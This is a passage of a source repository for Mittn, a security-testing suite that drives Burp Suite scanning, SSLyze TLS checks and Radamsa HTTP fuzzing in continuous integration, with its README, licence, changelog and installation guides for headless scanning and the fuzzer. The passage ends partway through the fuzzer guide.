├── .gitignore ├── CHANGELOG.rst ├── LICENSE ├── README.rst ├── bootstrap.sh ├── dev-requirements.txt ├── docs ├── INSTALL-headless-scanning.txt ├── INSTALL-httpfuzzer.txt └── INSTALL-tlschecker.txt ├── features ├── __init__.py ├── authenticate.py ├── authenticate.py.template ├── environment.py ├── environment.py.template ├── fuzz-injection-example-template.feature ├── headless-scanner-example.feature ├── scenarios.py ├── scenarios.py.template ├── static-injection-example-template.feature ├── steps │ └── all-steps.py └── tlschecker.feature ├── mittn ├── __init__.py ├── headlessscanner │ ├── __init__.py │ ├── dbtools.py │ ├── proxy_comms.py │ ├── steps.py │ └── test_dbtools.py ├── httpfuzzer │ ├── __init__.py │ ├── dbtools.py │ ├── dictwalker.py │ ├── fuzzer.py │ ├── httptools.py │ ├── injector.py │ ├── number_ranges.py │ ├── posttools.py │ ├── static_anomalies.py │ ├── steps.py │ ├── test_dbtools.py │ └── url_params.py └── tlschecker │ ├── __init__.py │ └── steps.py ├── requirements.txt └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | 3 | # PyCharm 4 | .idea 5 | 6 | # virtualenv 7 | MITTN 8 | 9 | # Password data 10 | avspassword.sh 11 | 12 | # Backups 13 | \#* 14 | *~ 15 | 16 | # C extensions 17 | *.so 18 | 19 | # Packages 20 | *.egg 21 | *.egg-info 22 | dist 23 | build 24 | eggs 25 | parts 26 | bin 27 | var 28 | sdist 29 | develop-eggs 30 | .installed.cfg 31 | lib 32 | lib64 33 | 34 | # Installer logs 35 | pip-log.txt 36 | 37 | # Unit test / coverage reports 38 | .coverage 39 | .tox 40 | nosetests.xml 41 | 42 | # Translations 43 | *.mo 44 | 45 | # Mr Developer 46 | .mr.developer.cfg 47 | .project 48 | .pydevproject 49 | -------------------------------------------------------------------------------- /CHANGELOG.rst: -------------------------------------------------------------------------------- 1 | Changelog 2 | --------- 3 | 4 | 0.2.0 - 2016-05-18 5 | ****************** 6 | 7 | **Added**: 8 | 9 | - Python package creation and PyPI uploads (pr #32) 10 | - tlschecker: Bump supported SSLyze version to v0.12 (pr #28) 11 | - tlschecker: Add remaining check for Logjam (pr #24) 12 | - httpfuzzer: New static anomalies inspired by JSON RFCs (commit e30387b6e0f71ca9d153ca7bb88daf4b104b6be1) 13 | - httpfuzzer: New statis anomalies (commit eba1fd2ed4b7f3018b3735334191db0f2c0b019b) 14 | 15 | **Changed**: 16 | 17 | - tlschecker: Changes to use TLSv1.2 as baseline + support Amazon ELB current policy defaults (commit c2653ccaa46e06f009ff5d4dce2dd7594e0c30ae) 18 | - httpfuzzer/headlessscanner: Re-write database implementation on SQLAlchemy (issue #10, issues #11) 19 | 20 | v0.1 - 2014-12-04 21 | ***************** 22 | 23 | - Initial release 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | 3 | Version 2.0, January 2004 4 | 5 | http://www.apache.org/licenses/ 6 | 7 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 8 | 9 | 1. Definitions. 10 | 11 | "License" shall mean the terms and conditions for use, reproduction, 12 | and distribution as defined by Sections 1 through 9 of this document. 13 | 14 | "Licensor" shall mean the copyright owner or entity authorized by the 15 | copyright owner that is granting the License. 16 | 17 | "Legal Entity" shall mean the union of the acting entity and all other 18 | entities that control, are controlled by, or are under common control 19 | with that entity. For the purposes of this definition, "control" means 20 | (i) the power, direct or indirect, to cause the direction or 21 | management of such entity, whether by contract or otherwise, or (ii) 22 | ownership of fifty percent (50%) or more of the outstanding shares, or 23 | (iii) beneficial ownership of such entity. 24 | 25 | "You" (or "Your") shall mean an individual or Legal Entity exercising 26 | permissions granted by this License. 27 | 28 | "Source" form shall mean the preferred form for making modifications, 29 | including but not limited to software source code, documentation 30 | source, and configuration files. 31 | 32 | "Object" form shall mean any form resulting from mechanical 33 | transformation or translation of a Source form, including but not 34 | limited to compiled object code, generated documentation, and 35 | conversions to other media types. 36 | 37 | "Work" shall mean the work of authorship, whether in Source or Object 38 | form, made available under the License, as indicated by a copyright 39 | notice that is included in or attached to the work (an example is 40 | provided in the Appendix below). 41 | 42 | "Derivative Works" shall mean any work, whether in Source or Object 43 | form, that is based on (or derived from) the Work and for which the 44 | editorial revisions, annotations, elaborations, or other modifications 45 | represent, as a whole, an original work of authorship. For the 46 | purposes of this License, Derivative Works shall not include works 47 | that remain separable from, or merely link (or bind by name) to the 48 | interfaces of, the Work and Derivative Works thereof. 49 | 50 | "Contribution" shall mean any work of authorship, including the 51 | original version of the Work and any modifications or additions to 52 | that Work or Derivative Works thereof, that is intentionally submitted 53 | to Licensor for inclusion in the Work by the copyright owner or by an 54 | individual or Legal Entity authorized to submit on behalf of the 55 | copyright owner. For the purposes of this definition, "submitted" 56 | means any form of electronic, verbal, or written communication sent to 57 | the Licensor or its representatives, including but not limited to 58 | communication on electronic mailing lists, source code control 59 | systems, and issue tracking systems that are managed by, or on behalf 60 | of, the Licensor for the purpose of discussing and improving the Work, 61 | but excluding communication that is conspicuously marked or otherwise 62 | designated in writing by the copyright owner as "Not a Contribution." 63 | 64 | "Contributor" shall mean Licensor and any individual or Legal Entity 65 | on behalf of whom a Contribution has been received by Licensor and 66 | subsequently incorporated within the Work. 67 | 68 | 2. Grant of Copyright License. Subject to the terms and conditions of 69 | this License, each Contributor hereby grants to You a perpetual, 70 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 71 | copyright license to reproduce, prepare Derivative Works of, publicly 72 | display, publicly perform, sublicense, and distribute the Work and 73 | such Derivative Works in Source or Object form. 74 | 75 | 3. Grant of Patent License. Subject to the terms and conditions of 76 | this License, each Contributor hereby grants to You a perpetual, 77 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except 78 | as stated in this section) patent license to make, have made, use, 79 | offer to sell, sell, import, and otherwise transfer the Work, where 80 | such license applies only to those patent claims licensable by such 81 | Contributor that are necessarily infringed by their Contribution(s) 82 | alone or by combination of their Contribution(s) with the Work to 83 | which such Contribution(s) was submitted. If You institute patent 84 | litigation against any entity (including a cross-claim or counterclaim 85 | in a lawsuit) alleging that the Work or a Contribution incorporated 86 | within the Work constitutes direct or contributory patent 87 | infringement, then any patent licenses granted to You under this 88 | License for that Work shall terminate as of the date such litigation 89 | is filed. 90 | 91 | 4. Redistribution. You may reproduce and distribute copies of the Work 92 | or Derivative Works thereof in any medium, with or without 93 | modifications, and in Source or Object form, provided that You meet 94 | the following conditions: 95 | 96 | You must give any other recipients of the Work or Derivative Works 97 | a copy of this License; and 98 | 99 | You must cause any modified files to carry prominent notices 100 | stating that You changed the files; and 101 | 102 | You must retain, in the Source form of any Derivative Works that 103 | You distribute, all copyright, patent, trademark, and attribution 104 | notices from the Source form of the Work, excluding those notices 105 | that do not pertain to any part of the Derivative Works; and 106 | 107 | If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one of 112 | the following places: within a NOTICE text file distributed as 113 | part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents of 117 | the NOTICE file are for informational purposes only and do not 118 | modify the License. You may add Your own attribution notices 119 | within Derivative Works that You distribute, alongside or as an 120 | addendum to the NOTICE text from the Work, provided that such 121 | additional attribution notices cannot be construed as modifying 122 | the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work by 133 | You to the Licensor shall be under the terms and conditions of this 134 | License, without any additional terms or conditions. Notwithstanding 135 | the above, nothing herein shall supersede or modify the terms of any 136 | separate license agreement you may have executed with Licensor 137 | regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or agreed 145 | to in writing, Licensor provides the Work (and each Contributor 146 | provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR 147 | CONDITIONS OF ANY KIND, either express or implied, including, without 148 | limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, 149 | MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely 150 | responsible for determining the appropriateness of using or 151 | redistributing the Work and assume any risks associated with Your 152 | exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, unless 156 | required by applicable law (such as deliberate and grossly negligent 157 | acts) or agreed to in writing, shall any Contributor be liable to You 158 | for damages, including any direct, indirect, special, incidental, or 159 | consequential damages of any character arising as a result of this 160 | License or out of the use or inability to use the Work (including but 161 | not limited to damages for loss of goodwill, work stoppage, computer 162 | failure or malfunction, or any and all other commercial damages or 163 | losses), even if such Contributor has been advised of the possibility 164 | of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, and 168 | charge a fee for, acceptance of support, warranty, indemnity, or other 169 | liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only on 171 | Your own behalf and on Your sole responsibility, not on behalf of any 172 | other Contributor, and only if You agree to indemnify, defend, and 173 | hold each Contributor harmless for any liability incurred by, or 174 | claims asserted against, such Contributor by reason of your accepting 175 | any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" replaced 183 | with your own identifying information. (Don't include the brackets!) 184 | The text should be enclosed in the appropriate comment syntax for the 185 | file format. We also recommend that a file or class name and 186 | description of purpose be included on the same "printed page" as the 187 | copyright notice for easier identification within third-party 188 | archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); you 193 | may not use this file except in compliance with the License. You may 194 | obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 201 | implied. See the License for the specific language governing 202 | permissions and limitations under the License. 203 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | *THIS PROJECT IS NO LONGER MAINTAINED* 2 | 3 | ===== 4 | Mittn 5 | ===== 6 | 7 | "For that warm and fluffy feeling" 8 | 9 | Background 10 | ---------- 11 | 12 | Mittn is an evolving suite of security testing tools to be run in 13 | Continuous Integration context. It uses Python and Behave. 14 | 15 | The idea is that security people or developers can define a hardening 16 | target using a human-readable language, in this case, Gherkin. 17 | 18 | The rationale is: 19 | 20 | - Once the initial set of tests is running in test automation, new 21 | security test cases can be added based on existing ones without 22 | having to understand exactly how the tools are set up and run. 23 | 24 | - Existing functional tests can be reused to drive security tests. 25 | 26 | - Test tools are run automatically in Continuous Integration, catching 27 | regression and low-hanging fruit, and helping to concentrate 28 | exploratory security testing into areas where it has a better 29 | bang-for-buck ratio. 30 | 31 | Mittn was originally inspired by Gauntlt (http://gauntlt.org/). You 32 | might also want to have a look at BDD-Security 33 | (http://www.continuumsecurity.net/bdd-intro.html) that is a pretty 34 | awesome system for automating security testing, and offers similar 35 | functionality with OWASP Zaproxy. 36 | 37 | Installation 38 | ------------ 39 | 40 | Exact installation varies by the test tool you want to use. See the 41 | docs/ directory for detailed instructions. 42 | 43 | NOTE: Backwards compatibility of false positive databases has been 44 | broken. The last version to be compatible with the original database 45 | schema is tagged "v0.1" on GitHub. 46 | 47 | Features 48 | -------- 49 | 50 | Currently, the tool implements: 51 | 52 | - Automated web scanning by driving Burp Suite Professional's Active 53 | Scanner, available from http://portswigger.net/. Burp and Burp Suite 54 | are trademarks of Portswigger, Ltd. Tested with version 1.6.07. 55 | 56 | - TLS configuration scanning using sslyze, available from 57 | https://github.com/nabla-c0d3/sslyze/releases. Requires version 0.12. 58 | 59 | - HTTP API fuzzing (JSON and form submissions) with Radamsa, available 60 | from https://github.com/aoh/radamsa. Tested with version 0.4a. 61 | (Older versions do not work.) 62 | 63 | If you'd like something else to be supported, please open an issue 64 | ticket against the GitHub project. 65 | 66 | As you can see, all the heavy lifting is done by existing tools. 67 | Mittn just glues it together. 68 | 69 | Contact information 70 | ------------------- 71 | 72 | If you have questions about the usage, please open a ticket in the 73 | GitHub project with a "Question" tag. 74 | 75 | If you have found a bug, please file a ticket in the GitHub project. 76 | 77 | If necessary, you can also email opensource@f-secure.com, but opening 78 | a ticket on GitHub is preferable. 79 | -------------------------------------------------------------------------------- /bootstrap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -xe 2 | pip install pip\>=8.0.0 3 | pip install -r dev-requirements.txt 4 | python setup.py develop 5 | -------------------------------------------------------------------------------- /dev-requirements.txt: -------------------------------------------------------------------------------- 1 | setuptools-scm >= 1.11.0 2 | pep8 >= 1.7.0 3 | -------------------------------------------------------------------------------- /docs/INSTALL-headless-scanning.txt: -------------------------------------------------------------------------------- 1 | =============================== 2 | Headless Scanning Installation 3 | =============================== 4 | 5 | If you stumble upon a bug, please file a ticket on the GitHub 6 | project or send a pull request with the patch. 7 | 8 | Note that this functionality requires a Burp Suite extension that is 9 | provided at https://github.com/F-Secure/headless-scanner-driver, and a 10 | licensed Burp Suite Professional, available from 11 | http://portswigger.net/. 12 | 13 | Burp and Burp Suite are trademarks of Portswigger, Ltd. 14 | 15 | Headless Scanning Concept 16 | ========================= 17 | 18 | The idea is to run an intercepting scanning proxy as an active scanner 19 | between a test script (e.g., simple HTTP requests, or a browser driven 20 | by Selenium) and the web site. The findings from the proxy are written 21 | into a database. If there is a previously unseen finding, the test 22 | suite will fail, requiring the developer to check the cause. If the 23 | issue was a false positive, it can be left in the database so the same 24 | issue will not re-trigger. 25 | 26 | As a picture: 27 | 28 | Dev. 29 | +----------+ o 30 | | Database |---- -+- 31 | +----------+ / \ 32 | | 33 | +----------+ start +----------+ +--------+ 34 | | Test |----------->|Intercept |----->|Web site| 35 | | runner |<-----------|Proxy | +--------+ 36 | +----------+ results |- - - - - | 37 | | |Headless | 38 | +----------+ 8080 |Scanning | 39 | | Browser |----------->|Extension | 40 | +----------+ +----------+ 41 | 42 | The test runner, Behave, starts the proxy in headless mode, and then 43 | calls developer-provided project-specific positive test cases that 44 | generate HTTP traffic. The scripts run by Behave communicate with an 45 | extension that is loaded within the intercepting proxy that handles 46 | scanning-related chores. 47 | 48 | The test script and the extension within the proxy communicate using 49 | in-band signaling (this is a suboptimal design, but at the time of 50 | writing, the best I could come up with). There are special requests 51 | made to specific ports that trigger activities in the extension. The 52 | results are dumped to the standard output of the proxy as JSON, picked 53 | up by the test script, and stored into the database. 54 | 55 | After setting up the system, the developer / test engineer only needs 56 | to provide the positive test cases that cause HTTP traffic, and 57 | analyse the findings in the database. 58 | 59 | The target is that the developers only need to provide new functional 60 | test cases; addition of new functional tests automagically extends the 61 | scanning into that new territory. 62 | 63 | Software requirements 64 | ===================== 65 | 66 | 1. Python package dependencies; see requirements.txt. You should be 67 | able to install the requirements using 68 | 69 | pip install -r requirements.txt 70 | 71 | As a suggestion, you might want to use a virtualenv. 72 | 73 | 2. Burp Suite Professional. You need the commercially licensed 74 | version, which can be obtained from http://portswigger.net/. Please 75 | note that according to Burp Suite licence at the time of writing, 76 | you are not permitted to offer a "Burp Suite as a Service" type 77 | system. The tool has been tested with Burp Suite Professional 78 | 1.6.07. 79 | 80 | 3. The Headless Scanner Driver extension for Burp Suite, available 81 | from https://github.com/F-Secure/headless-scanner-driver. 82 | 83 | 4. Jython standalone JAR file, minimum version 2.7beta1, available 84 | from http://www.jython.org/downloads.html. This is used to run the 85 | Headless Scanner Driver extension within Burp Suite. 86 | 87 | 5. Valid, positive test cases that actually generate HTTP requests 88 | towards your system. This can be browser automation (e.g., 89 | Selenium) or just simple requests performed from a script. Because 90 | these are application specific, these test cases need to be 91 | provided by you. As an example, if your project has a REST API, you 92 | should write a function that creates those requests; if your app is 93 | a web application with a browser UI, you probably need to create a 94 | positive test case in Selenium to drive through the user scenario. 95 | 96 | 6. A database that is supported by SQLAlchemy Core 0.9. See 97 | http://docs.sqlalchemy.org/en/rel_0_9/dialects/index.html. 98 | 99 | Note: Older versions of Mittn used PostgreSQL and sqlite. The 100 | database schema has changed, and the old databases are no longer 101 | compatible with the current release. The oldest release of Mittn 102 | that is schema-compatible has been tagged as "0.1" on GitHub. 103 | 104 | Environment requirements 105 | ======================== 106 | 107 | - A properly installed intercepting proxy. 108 | 109 | - The test driver is Behave. Behave runs BDD test cases described in 110 | Gherkin, a BDD language. Changes to your tests would be likely to be 111 | made to the Gherkin files that have a .feature suffix. Behave can 112 | emit JUnit XML test result documents. This is likely to be your 113 | preferred route of getting the test results into Jenkins. 114 | 115 | - New findings are added into an SQL database, which holds the 116 | information about known false positives, so that they are not 117 | reported during subsequent runs. You need to have CREATE TABLE, 118 | SELECT and INSERT permissions on the database. 119 | 120 | - Your test target (the server) should preferably be under a specific 121 | domain that never changes, so you can create a safety-net proxy 122 | configuration that ensures that the proxy does not send scanning 123 | requests to third party web sites. The stricter you can make this 124 | filter, the better. 125 | 126 | - I would recommend that, as the scanning target, you use a test 127 | deployment that has no real customer data and is not in 128 | production. 129 | 130 | Installing the Headless Scanner Driver 131 | ====================================== 132 | 133 | - We assume you have a working and properly installed copy of Burp 134 | Suite Professional. 135 | 136 | - Install the Jython JAR file and the HeadlessScannerDriver.py Python 137 | script into a suitable directory. 138 | 139 | - Start Burp Suite Professional with: 140 | 141 | java -jar -Xmx1g -XX:MaxPermSize=1G & 142 | 143 | - Check the Alerts tab. If it reports any errors, those need to be 144 | resolved before you continue the setup. 145 | 146 | - Install the HeadlessScannerDriver.py extension. From Extension tab, 147 | Options subtab, select "Location of Jython standalone JAR file" so 148 | that it points to the Jython JAR file; "Folder for loading modules" 149 | so that it points to the directory where you downloaded the 150 | HeadlessScannerDriver.py extension. 151 | 152 | - From Extension tab, Extensions subtab, click on Add. "Extension 153 | type" is Python, and "Extension file" is HeadlessScannerDriver.py. 154 | 155 | - Select "Output to system console" as the Standard Output. Click 156 | Next. 157 | 158 | - Check that the Errors tab has no Python errors in it, and click 159 | Close. Check that the standard output in the shell from where you 160 | started the proxy says 161 | 162 | {"running": 1} 163 | 164 | This signals that the HeadlessScannerDriver.py extension has 165 | started. You need to get this working before it makes sense to 166 | continue. 167 | 168 | - Under Target tab, Scope subtab, click on Add. 169 | 170 | - Under Host or IP range, enter the domain or IP range your test 171 | server resides in. This is the safety net. Click Ok. Under Options 172 | tab, locate the Out-of-Scope Requests section, and ensure that "Drop 173 | all out-of-scope requests" and "Use suite scope" are selected. This 174 | enforces the safety net. 175 | 176 | If your test scenarios cause requests to be made to hosts that are 177 | outside your Target Scope, that specific scan is listed by Burp Suite 178 | as "abandoned". You can select whether that will trigger a scan failure 179 | or just treated as a finished scan. If you know exactly that your test 180 | scenario only sends requests to your target, you should enforce a failure 181 | with any abandoned scan. This ensures that if there is a misconfiguration 182 | that prevents scanning from happening, your test case will fail instead of 183 | silently not working. The example .feature file has an example of how 184 | to configure this behaviour. 185 | 186 | - Under Proxy tab, Options subtab, check that there is one Proxy 187 | Listener, running at 127.0.0.1:8080, and there is a checkbox in 188 | "Running" column. If your functional test cases are not proxy-aware, 189 | you also need to check the "Invisible" column. 190 | 191 | - From Burp menu, select Exit. This will save this configuration as 192 | the default, and it will be used every time the proxy is started in 193 | headless mode. 194 | 195 | - It would now be a good idea to test the proxy and the extension 196 | manually with a GUI-based browser (run on the same host) to ensure 197 | it works. If you want to do this, start the proxy again, and set all 198 | the proxy settings of the browser to use localhost:8080. 199 | 200 | In the Proxy tab, Intercept subtab, click on the Intercept button so 201 | it reads "Intercept is off", and switch to the History subtab. Make 202 | a (plain) http request to one of the domains you whitelisted in 203 | Target / Scope from the browser, and you should see the request and 204 | response appearing in the list. 205 | 206 | Under the Scanner tab, you should see new scans begin for each HTTP 207 | request made by the browser. These are initiated by the 208 | extension. If this does not work, it is useful to debug before you 209 | continue, as there is little chance things would be fixed 210 | automagically for you if they don't work now. Check again the Alerts 211 | tab to determine if anything went wrong. 212 | 213 | - Edit mittn/features/environment.py to reflect the location where you 214 | installed the proxy. 215 | 216 | What are baseline databases? 217 | ============================ 218 | 219 | The tests in Mittn have a tendency of finding false positives. Also, 220 | due to the distributed nature of cloud-based Continuous Integration 221 | systems, the tests might be running on transient nodes that are 222 | deployed just for the duration of a test run and then shut down. The 223 | baseline database holds the information on new findings and known 224 | false positives in a central place. 225 | 226 | Currently, the httpfuzzer and headlessscanner tools use baseline 227 | databases. The headlessscanner tool requires a database; the httpfuzzer 228 | can be run without one, but the usefulness is greatly reduced. 229 | 230 | The tool uses SQL Alchemy Core as a database abstraction layer. The 231 | supported database options are listed at 232 | http://docs.sqlalchemy.org/en/rel_0_9/dialects/index.html. 233 | 234 | If you need a centralised database that receives issues from a number 235 | of nodes, you need a database with network connectivity. If you only 236 | need a local database, you can use a file-based (such as sqlite) 237 | database. The latter is much easier to set up as it requires no 238 | database server or users to be defined. 239 | 240 | Whichever database you use, you will provide the configuration options 241 | in features/environment.py as a database URI. For details on the URI 242 | syntax, see 243 | http://docs.sqlalchemy.org/en/rel_0_9/core/engines.html#database-urls. 244 | 245 | Selecting the appropriate database 246 | ================================== 247 | 248 | The test system uses an SQL database to store false positives, so that 249 | it doesn't report them as errors. Whenever new positives are 250 | encountered, those are added to the database. The developers can then 251 | check the finding. If the finding is a false positive, they will need 252 | to mark it as such in the database (by setting a flag new_issue as 253 | false (or zero) on that finding). If it was a real positive, that 254 | finding needs to be removed from the database, and of course, the 255 | system under test needs a fix. 256 | 257 | The system supports either databases in local files with sqlite, or a 258 | connection over the network to an off-host database. Select 259 | the database solution you want to use: 260 | 261 | 1. If you run the tests on a developer machine, or on a host that is 262 | not redeployed from scratch every time (i.e., the host has 263 | persistent storage), or if the host has a persistent 264 | network-mounted file system, it is probably easier to store the 265 | results into a file-based local database. 266 | 267 | 2. If you run tests concurrently on several nodes against the same 268 | system under test, or if your test system is on a VM instance 269 | that is destroyed after the tests (i.e., the host has no 270 | persistent storage), or if you want to share the results easily 271 | with a larger team, it is probably easier to use a 272 | network-connected database. 273 | 274 | Configuring a false positives database 275 | ====================================== 276 | 277 | - Edit mittn/features/environment.py so that context.dburl points to 278 | your database. The pointer is an SQL Alchemy URI, and the syntax 279 | varies for each database. Examples are provided in the file for 280 | sqlite and PostgreSQL. Further documentation on the database URIs is 281 | available on 282 | http://docs.sqlalchemy.org/en/rel_0_9/core/engines.html#database-urls. 283 | 284 | - Ensure that you have CREATE TABLE, INSERT and SELECT rights to the 285 | database. (SQL Alchemy might require something else under the hood 286 | too, depending on what database you are using.) 287 | 288 | - During the first run of the tool, the false positives database table 289 | will be automatically created. If one exists already, it will not be 290 | deleted. 291 | 292 | Setting up the test case 293 | ======================== 294 | 295 | The important files that apply to the HeadlessScannerDriver.py test 296 | are: 297 | 298 | 1. The headless scanning tests are specified in 299 | mittn/features/headless-scanning.feature. You need to edit this 300 | file to describe the test targets you want to test. 301 | 302 | 2. The headless scanning test steps are in 303 | mittn/mittn/headlessscanning. There should not be a need to alter 304 | anything in this directory. 305 | 306 | 3. The function that is called to run your project-specific 307 | positive, valid test scenarios is in 308 | mittn/features/scenarios.py. A template has been provided which 309 | you can edit. You need to edit this file to run the positive 310 | valid test cases; this is described in more detail below. 311 | 312 | 4. General test configuration items in 313 | mittn/features/environment.py; again, a template has been 314 | provided. 315 | 316 | In the features/scenarios.py, you will need to implement the valid 317 | test case(s) (e.g., Selenium test run(s)) in a function that gets two 318 | parameters: The identifier of the test case (which you can use to 319 | select a specific test, if you have several) and the HTTP proxy 320 | address. 321 | 322 | Your function needs to set the HTTP proxies appropriately, and then 323 | run the valid test case. 324 | 325 | If your valid test fails, you should assert failure so that the test 326 | case is marked as a failure: 327 | 328 | assert False, "Valid test scenario did not work as expected, scenario id %s" % scenario_id 329 | 330 | or something similar; this will cause the test run to fail and the 331 | error message to get logged. For the coverage and success of scanning, 332 | it is important that your positive valid tests function 333 | correctly. Otherwise it is not guaranteed that you are actually 334 | testing anything. At a minimum, for example, when testing a REST API, 335 | you should check that your valid request returned a 2xx response or 336 | something. 337 | 338 | If your tests can raise an exception, catch those and kill the Burp 339 | Suite process before exiting. If you leave Burp Suite running, 340 | subsequent tests runs will fail as Burp Suite invocations will be 341 | unable to bind to the proxy port. 342 | 343 | Running the tests 344 | ================= 345 | 346 | Run the tests with 347 | 348 | behave features/yourfeaturefile.feature --junit --junit-directory PATH 349 | 350 | with the mittn directory in your PYTHONPATH (or run the tool from 351 | mittn/), and PATH pointing where you want the JUnit XML output. If 352 | your test automation system does not use JUnit XML, you can, of 353 | course, leave those options out. 354 | 355 | You should first try to run the tool from the command line so that you 356 | can determine that the proxy is started cleanly. If there is an issue, 357 | see the section "Troubleshooting" at the end of this file. 358 | 359 | Checking the results 360 | ==================== 361 | 362 | If there were any new findings (i.e., active scanner issues that were 363 | not previously seen for this specific test scenario), the test will 364 | flag a failure. 365 | 366 | The findings are added into the false positives database. All new 367 | issues have "1" in the new_issue column. Any new issues are 368 | re-reported after each run, until they are marked as false positives 369 | or fixed. 370 | 371 | If the issue was a false positive, you need to mark this column as 372 | "0". The issue will not be reported after this. If the same issue 373 | manifests itself in a different URI or a different test case, it will 374 | be re-reported as a separate issue. 375 | 376 | If the issue was a true positive, after fixing the issue, you need to 377 | delete the line from the database. 378 | 379 | The results database has the following fields: 380 | 381 | - new_issue: true (or 1) if the issue is pending triage (whether or 382 | not it is a false positive) 383 | 384 | - issue_no: an unique id number 385 | 386 | - timestamp: a timestamp, in UTC, of when the issue was added to the 387 | database. You can use this to correlate the finding against server 388 | logs. Unfortunately, the exact time of the offending HTTP request is 389 | not made available by Burp, so it cannot be provided here; however, 390 | you should be able to look at logs that pre-date this timestamp. 391 | 392 | - test_runner_host: the IP address from where the tests were run. You 393 | can use this to correlate the finding against server logs. If you 394 | only see local addresses here, have a look at your /etc/hosts file. 395 | 396 | - scenario_id: test case identifier corresponding to the test case id 397 | in the .feature file 398 | 399 | - url: the URI in which the issue was found 400 | 401 | - severity: severity level reported by the proxy 402 | 403 | - issuetype: issue type code reported by the proxy (can be useful for 404 | sorting a large number of findings) 405 | 406 | - issuename: issue explanation provided by the proxy 407 | 408 | - issuedetail: details of this finding provided by the proxy 409 | 410 | - confidence: confidence estimate reported by the proxy 411 | 412 | - host: the host where the issue was detected 413 | 414 | - port: the port (on the host) where the issue was detected 415 | 416 | - protocol: http or https 417 | 418 | - messagejson: a list of JSON objects that contain the complete HTTP 419 | requests and responses that the proxy sent or received when 420 | detecting this issue. There may be several request/response pairs; 421 | if this is the case, the interesting part is usually found by 422 | comparing the requests and responses side-by side. 423 | 424 | If you are required to file a bug report on the finding to someone 425 | else (e.g., the development team within your organisation), it is 426 | suggested you include, at a minimum, the URI, issue type, issue 427 | detail, and the HTTP request/response pairs as debug information. 428 | 429 | Troubleshooting 430 | =============== 431 | 432 | If starting the proxy fails, check: 433 | 434 | - whether there is an instance already running. Exit those 435 | instances. Only one proxy instance can bind to the same port 436 | at any given time. If your test cases terminate without killing 437 | the proxy process, this may leave the proxy running. 438 | 439 | - whether the proxy has been properly installed. Follow the guidance 440 | earlier in this document and try to create HTTP requests manually 441 | with a browser while running the HeadlessScannerDriver.py 442 | extension. 443 | 444 | If Burp Suite does not seem to listen to the socket, start Burp Suite 445 | with GUI and check whether the proxy listener is running and listening 446 | (the appropriate checkboxes should be checked). 447 | 448 | Check that the output of the extension is directed to system 449 | console. When you start the proxy in headless mode from a command 450 | line, you should see it output a small JSON blob when the extension 451 | starts. 452 | -------------------------------------------------------------------------------- /docs/INSTALL-httpfuzzer.txt: -------------------------------------------------------------------------------- 1 | =================================== 2 | HTTP Injector / Fuzzer Installation 3 | =================================== 4 | 5 | If you have a question, please open a ticket at 6 | https://github.com/F-Secure/mittn/issues?labels=question and tag it 7 | with the 'question' label. 8 | 9 | If you stumble upon a bug, please file a ticket on the GitHub 10 | project or send a pull request with the patch. 11 | 12 | HTTP Injector / Fuzzer Concept 13 | ============================== 14 | 15 | The HTTP Injector / Fuzzer takes an HTTP API (form submissions or JSON 16 | submissions) and injects malformed input to each of the values and 17 | parameters in the submission. The malformed input can come from a 18 | library of static, hand-crafted inputs, or from a fuzzer (currently, 19 | generated using Radamsa from the University of Oulu, Finland). When 20 | using the fuzzer, the malformed inputs are created based on valid 21 | examples you provide. 22 | 23 | Servers that fail to process malformed inputs may exhibit a range of 24 | responses: 25 | 26 | - A 5xx series error, indicating a server-side error 27 | - A timeout 28 | - A response that contains a string that usually indicates an error 29 | situation (e.g., "internal server error") 30 | - An HTTP level protocol error 31 | 32 | The test tool can look for these kinds of malformed responses. If one 33 | is encountered, the test case that caused the response is logged in a 34 | database. A developer can look at the database entries in order to 35 | reproduce and fix the issue. 36 | 37 | These responses do not necessarily mean that the system would be 38 | vulnerable. However, they most likely indicate a bug in input 39 | processing, and the code around the injection path that triggered the 40 | problem is probably worth a closer look. 41 | 42 | The system does _not_ look for malformed data that would be reflected 43 | back in the responses. This is a strategy often used for 